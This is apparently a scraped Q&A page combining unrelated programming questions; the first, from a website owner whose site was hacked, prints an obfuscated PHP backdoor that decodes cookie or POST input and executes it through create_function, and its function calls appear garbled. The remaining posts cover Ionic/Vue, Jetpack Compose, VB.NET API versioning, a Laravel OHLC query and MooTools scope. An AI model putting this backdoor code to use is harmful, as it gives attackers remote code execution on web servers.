What does this suspicious code do? website got hacked - malware

can someone tell me what this code do?
my website got hacked a few days ago and i found this suspicious php file in a sub-folder. I can see that it has been added later than all the other files, and i know it shouldn't be there. But i don't know what the code do.
$kfpzxtd[] = "create_function";
$kfpzxtd[] = "H*";
$kfpzxtd[] = "#";
$kfpzxtd[] = "b95d8d1b-ff38-4549-8786-5e6b337d4662";
$kfpzxtd[] = "count";
$kfpzxtd[] = "str_repeat";
$kfpzxtd[] = "explode";
$kfpzxtd[] = "substr";
$kfpzxtd[] = "array_merge";
$kfpzxtd[] = "strlen";
$kfpzxtd[] = "pack";
foreach ("g"($_COOKIE, $_POST) as $wiylfic => $mzfvwr){
function vqyxci($kfpzxtd, $wiylfic, $rbdhg){
return "x"("b"($wiylfic . "r", ($rbdhg / "p"($wiylfic)) + 1), 0, $rbdhg);
}
function azaag($kfpzxtd, $nyupw){
return #"k"("-", $nyupw);
}
function zyebtn($kfpzxtd, $nyupw){
$ejobu = "s"($nyupw) % 3;
if (!$ejobu) {
$mlmly = "o";
$uxpne = $mlmly("", "-"("9"));
$uxpne();
}
}
$mzfvwr = azaag($kfpzxtd, $mzfvwr);
zyebtn($kfpzxtd, "4"("9", $mzfvwr ^ vqyxci($kfpzxtd, $wiylfic, "p"($mzfvwr))));
}

Related

In Ionic and Vue.js. How to fetch or “call” data from one file to another?

I’m new to both Ionic and Vue.js. I’m taking advantage of this summer break to start learning both.
I’m building a mobile app for this purpose and so far, so good. However, I have found and issue that I hope you could help me with. Namely, how to fetch or “call” data from one file to another (Is it called routing?).
In my app, I am trying to start/open a function named myFunction() from one of the pages (quiz.vue) when I call it using v-on:click="myFunction3".
This function is located in a JS file called quizz.js, and it is located in the assets folder. This is its path: (“./assets/js/quizz.js”).
I have tried many things to make it work and finally it is working as it should. However, I think my solution is not optimal as it keeps throwing “Uncaught TypeErrors” in the console of the Developer’s Tool…even though it works.
My solution was to push the function inside methods: this.$router.push(myFunction3())
Also, when running the app, it says that myFunction() , and other functions in the same quizz.js file, “is define but never used”.
If you could advise me with anything, I would be most grateful. I am still a beginner so please explain it to me in as simple a manner as possible.
methods:{
openMenu(){
menuController.open("app-menu")
},
myFunction3(){
this.$router.push(myFunction3())
},
Below, the quizz.js file:
var mlhttp = new XMLHttpRequest();
mlhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var myObj = JSON.parse(this.responseText);
const quiz = myObj.results[0]['question'];
const correctAnswer = myObj.results[0]['correct_answer'];
const incorrect = myObj.results[0]['incorrect_answers'];
incorrect.push(correctAnswer);
shuffle(incorrect);
document.getElementById("ans").innerHTML = quiz;
var text = "";
var val = 0;
var i;
for (i = 0; i < incorrect.length; i++) {
if(incorrect[i] == correctAnswer){
text += "<ion-button fill='outline' id='right' onClick='increment();myFunc();'/><b>" + incorrect[i] + "</b></ion-button></br>";
val = val + 1;
}else{
text += "<ion-button fill='outline' class='wrong' onClick='myFunc2();'/><b>" + incorrect[i] + "</b></ion-button></br>";
}
}
document.getElementById("ans5").innerHTML = text;
}
};
var j=0;
function myFunction3() {
document.getElementById("ans6").innerHTML = "";
mlhttp.open("GET", "https://opentdb.com/api.php?amount=1", true);
mlhttp.send();
j++;
document.getElementById('ans11').innerHTML=j;
}
function shuffle(array) {
for (let i = array.length - 1; i > 0; i--) {
let j = Math.floor(Math.random() * (i + 1));
[array[i], array[j]] = [array[j], array[i]];
}
}
function myFunc(){
document.getElementById("ans6").innerHTML = "<h1 style='color:green'><i class='fa fa-check'></i> That is correct!</h1>";
document.getElementById("right").style.color = "white";
document.getElementById("right").style.backgroundColor = "green";
var audio = new Audio('./assets/sound/win.mp3');
audio.play();
}
function myFunc2(){
document.getElementById("ans6").innerHTML = "<h1 style='color:red'><i class='fa fa-thumbs-down' ></i>Wrong Answer! </h1>";
document.getElementById("right").style.color = "white";
document.getElementById("right").style.backgroundColor = "green";
var x = document.getElementsByClassName("wrong");
var i;
for (i = 0; i < x.length; i++) {
x[i].style.backgroundColor = "rgba(255, 0, 0, 0.8)";
x[i].style.color = "white";
}
//document.getElementById("wrong").style.color = "red";
var audio = new Audio('./assets/sound/wrong.mp3');
audio.play();
}
var i=0;
function increment() {
i++;
document.getElementById('ans10').innerHTML=i;
}

AnimatedVisibility with initiallyVisible deprecated

AnimatedVisibility with initiallyVisible deprecated. How to achieve this animation with new api? Thanks in advance.
#Composable
fun DefaultTransition(content: #Composable () -> Unit) {
AnimatedVisibility(
visible = true,
enter = slideInVertically(
initialOffsetY = { 50 }
) + fadeIn(initialAlpha = 0.3f),
exit = slideOutVertically() + fadeOut(),
content = content,
initiallyVisible = false
)
}
I found the answer.
val visibleState = remember { MutableTransitionState(false) }
visibleState.targetState = true
AnimatedVisibility(visibleState,
enter = slideInVertically(
initialOffsetY = { 50 }
) + fadeIn(initialAlpha = 0.3f),
exit = slideOutVertically() + fadeOut() {
content()
}

Microsoft.AspNet.WebApi.Versioning DefaultInlineConstraintResolver in VB.NET

I need to use Microsoft.AspNet.WebApi.Versioning in VB.NET but I cannot translate the following code:
config.AddApiVersioning(o =>
{
o.AssumeDefaultVersionWhenUnspecified = true;
o.DefaultApiVersion = new Microsoft.Web.Http.ApiVersion(1, 0);
});
var constraintResolver = new DefaultInlineConstraintResolver()
{
ConstraintMap = { ["apiVersion"] = typeof(ApiVersionRouteConstraint) }
};
config.MapHttpAttributeRoutes(constraintResolver);
In particular I have an error when I define DefaultInlineConstraintResolver:
Dim constraintResolver = New DefaultInlineConstraintResolver() With
{
.ConstraintMap = { ["apiVersion"] = GetType(ApiVersionRouteConstraint) }
}
How resolve?
Tks.
I have found the solution. The correct code is:
Dim constraintResolver = New DefaultInlineConstraintResolver()
constraintResolver.ConstraintMap.Add("apiVersion", GetType(ApiVersionRouteConstraint))

Is it possible to shorten this query

we have used loop for read between timestamps. This works but this way exhausting for server with million records.
The timestamps are determined by the $resolution variable and assigned to a new array. But we know this is poor way. I think we can do that without while. Maybe one query enough.
Route::get('/history', function (Request $request) {
//return response()->json([]);
$symbol = explode("-", $request->get("symbol"));
$coin = Coin::where("symbol", $symbol[1])->first();
$currency = Coin::where("symbol", $symbol[0])->first();
$resolution = $request->get("resolution");
$from = $request->get("from");
$to = $request->get("to");
$uniqueKey = sprintf("OHLCKEY%s%s%s%s",
$symbol[0], $symbol[1],
Carbon::createFromTimestamp($from)->second(0)->timestamp,
Carbon::createFromTimestamp($to)->second(0)->timestamp);
$redis=Redis::connection();
$cache = $redis->get($uniqueKey);
if($cache) {
$data = json_decode($cache);
return response()->json($data);
} else {
$t = [];
$o = [];
$h = [];
$l = [];
$c = [];
$v = [];
$s = "no_data";
$minMaxDates = TransactionDetail::where("type", "buy")
->whereBetween("created_at", [
Carbon::createFromTimestamp($from),
Carbon::createFromTimestamp($to)
])->where("coin_id", $coin->id)->where("currency_id", $currency->id)
->selectRaw("min(created_at) as minDate, max(created_at) as maxDate")->first();
if($minMaxDates->minDate) {
$minDate = Carbon::createFromTimeString($minMaxDates->minDate)->timestamp;
if($from < $minDate) {
$startDate = $minDate;
} else {
$startDate = (int)$from;
}
$maxDate = Carbon::createFromTimeString($minMaxDates->maxDate)->timestamp;
if($to > $maxDate) {
$to = $maxDate;
}
while ($startDate < $to):
switch ($resolution) {
case "30";
$endDate = Carbon::createFromTimestamp($startDate)->addMinutes(30)->timestamp;
break;
case "60";
$endDate = Carbon::createFromTimestamp($startDate)->addHour(1)->timestamp;
break;
case "180";
$endDate = Carbon::createFromTimestamp($startDate)->addHour(3)->timestamp;
break;
case "360";
$endDate = Carbon::createFromTimestamp($startDate)->addHour(6)->timestamp;
break;
case "720";
$endDate = Carbon::createFromTimestamp($startDate)->addHour(12)->timestamp;
break;
default:
$endDate = Carbon::createFromTimestamp($startDate)->addHour(1)->timestamp;
break;
}
if ($endDate > $to) $endDate = $to;
$transactions = TransactionDetail::where("type", "buy")
->whereBetween("created_at", [
Carbon::createFromTimestamp($startDate),
Carbon::createFromTimestamp($endDate)
])->where("coin_id", $coin->id)->where("currency_id", $currency->id)->get();
if (!$transactions->isEmpty()) {
$t[] = $transactions->first()->created_at->timestamp;
$o[] = floatval($transactions->first()->price);
$h[] = floatval($transactions->max("price"));
$l[] = floatval($transactions->min("price"));
$c[] = floatval($transactions->last()->price);
$v[] = floatval($transactions->sum("amount"));
}
$startDate = $endDate + 1;
endwhile;
}
if (!empty($t)) $s = "ok";
$data = ["t" => $t, "o" => $o, "h" => $h, "l" => $l, "c" => $c, "v" => $v, "s" => $s];
$redis->set($uniqueKey, json_encode($data));
return response()->json($data);
}
});
Can we reproduce this code with one mysql query?
thank you in advance.

Mootools variable scope issues

I have a problem getting my mind round variable scope and could do with some help :)
I'm setting up a module in joomla that will rotate images. I've a bit of code I've used on non Joomla sites that works fine. However I've ported it and I'm running into problems that I think are variable scope issues so any thoughts would be great.
Sorry for the long code but I included the whole function in case (when it works) it might help someone else.
function slideshow(container,containerCaption,previewCode,timer,classis,headerId,thumbOpacity,titlebar){
var showDuration = timer;
var container = $(container);
var images = $(container).getElements('span');
var currentIndex = 0;
var interval;
var preview = new Element('div',{
id: containerCaption,
styles: {
opacity: thumbOpacity
}
}).inject(container);
preview.set('html',previewCode);
images.each(function(img,i){
if(i > 0) {
img.set('opacity',0);
}
});
var show = function() {
images[currentIndex].fade('out');
images[currentIndex = currentIndex < images.length - 1 ? currentIndex+1 : 0].fade('in');
var title = '';
var captionText = '';
if(images[currentIndex].get('alt')) {
cap = images[currentIndex].get('alt').split('::');
title = cap[0];
captionText = cap[1];
urltoUse = cap[2];
preview.set('html','<span class="lctf1"><ahref="'+urltoUse+'">'
+ title + '</a></span>'
+ (captionText ? '<p>' + captionText + '</p>' : ''));
}
};
window.addEvent('domready',function(){
interval = show.periodical(showDuration);
});
}
window.addEvent('domready',function() {
container = "slideshow-container";
containerCaption ="slideshow-container-caption";
previewCode = '<span ><?php echo $itemtitle[0];?></span><p ><?php echo $itemdesc[0];?></p>';
timer = <?php echo $slidetime*1000;?>;
classis = 1;
headerId = "";
thumbOpacity =0.7;
titlebar = "<?php echo $showTitle;?>";
if($(container)){
slideshow(container,containerCaption,previewCode,timer,classis,headerId,thumbOpacity,titlebar);
}
});
The javascript error being thrown is that preview is undefined.
Your code seems to work, I made a jsfiddle here: http://jsfiddle.net/7E2MX/3/ which runs with no errors.
I did change one line though:
var images = $(container).getElements('span');
to
var images = $(container).getElements('img');